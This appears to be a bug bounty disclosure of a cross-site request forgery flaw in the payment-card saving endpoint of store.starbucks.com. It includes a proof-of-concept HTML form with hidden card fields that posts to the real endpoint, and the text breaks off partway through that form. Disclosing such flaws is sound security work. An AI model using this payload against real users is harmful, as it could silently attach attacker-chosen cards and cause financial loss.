CSRF vulnerability in saving payment card on store.starbucks.com (COBilling -AddCreditCard)

I noticed a CSRF issue that associated with card saving. It is possible for to save card details and can be used for quick payments while purchasing. The result will be a remote attacker can trick users to use some other cards that may silently led to loss of money in which actully it is not for …

<html>
  <body>
    <form action="https://store.starbucks.com/on/demandware.store/Sites-Starbucks-Site/default/COBilling-AddCreditCard" method="POST">
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;type" value="Visa" />
      <input type="hidden" …